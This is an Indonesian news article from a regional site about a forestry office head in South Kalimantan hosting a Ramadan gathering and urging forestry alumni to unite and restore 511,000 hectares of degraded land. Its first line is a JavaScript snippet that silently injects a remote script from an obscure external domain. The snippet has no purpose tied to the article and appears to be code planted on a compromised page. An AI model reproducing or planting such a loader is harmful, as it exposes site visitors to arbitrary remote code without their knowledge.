(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Kadishut: Rimbawan Kalsel Jangan Terkotak-Kotak


BANJARBARU, Kepala Dinas Kehutanan Provinsi Kalimantan Selatan, Hanif Faisol Nurofiq buka puasa bersama dengan para pejabat eselon 3 dan 4 beserta staf Dinas Kehutanan Kalsel, di Musala Assajaratun Thayyibah, Kantor Dinas Kehutanan Provinsi Kalimantan Selatan Jalan A. Yani Timur No 14 Banjarbaru, Minggu (19/5).

Ada yang berbeda pada perhelatan kali ini. Turut berhadir pula sekitar 100 orang alumnus Sekolah Kehutanan Menengah Atas (SKMA) dan Forest Ranger yang tergabung dalam wadah Ikatan Keluarga Alumni (IKA) SKMA Cabang Kalimantan Selatan.

Hanif pada kesempatan itu menyatakan bahwa buka puasa ini bertujuan mempererat tali silaturahmi sesama aparatur kehutanan.

“Bulan Ramadhan ini adalah waktu terbaik kita mempererat tali silaturahmi. Semoga kita dapat terus bersinergi dalam membangun kehutanan untuk kesejahteraan masyarakat,” tuturnya.

Sebagai rimbawan, lanjut dia, tidak boleh bangga dan merasa eksklusif dengan basik asal pendidikan SKMA dan Forest Ranger. Akan tetapi mulailah bersatu dan tidak terkotak-kotak. Jadilah satu korps rimbawan Kalsel yang siap membangun kehutanan,” ujarnya.

Hanif juga berpendapat bahwa hasil yang didapatkan Kalsel dari pembangunan sektor kehutanan masih belum maksimal. “Selama ini saya belum melihat dampak positif yang signifikan dari kegiatan rimbawan untuk menyejahterakan masyarakat,” imbuhnya.

Karenanya, ia mengimbau agar para alumnus bersama-sama membuktikan bahwa sektor kehutanan menjadi salah satu pemasukan daerah setelah pertambangan dan perkebunan.

Tanggung jawab sebagai rimbawan sebagaimana dituturkan Hanif, memiliki tugas yang sangat berat. Antara lain harus bisa menyukseskan kewajiban mereklamasi 511.000 hektare lahan kritis melalui penanaman tanaman “fast growing” dengan target 10 tahun bisa menghasilkan kayu.

“Selain rimbawan yang masih aktif, diharapkan kita semua harus bersama-sama membangun hutan Kalimantan Selatan kita tercinta. Walaupun kita telah memasuki masa purna tugas sekalipun. Kita harus terus berkarya, berkarya dan terus selalu berkarya sebagai rimbawan sampai kita tutup usia,”, tutupnya sambil memotivasi.

Diketahui, SKMA dan Forest Ranger merupakan sekolah kedinasan di bawah naungan Kementerian Lingkungan Hidup Kehutanan yang telah meluluskan ribuan tenaga teknis menengah kehutanan sebagai ujung tombak pengelolaan hutan di tingkat tapak.

Sejak tahun 2010-an SKMA telah ber-evolusi menjadi Sekolah Menengah Kejuruan (SMK) Kehutanan Negeri dan Forest Ranger telah ditutup di akhir tahun 2000-an lalu. (ria/bpth)

Reporter :Ria/bpdth
Editor :Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.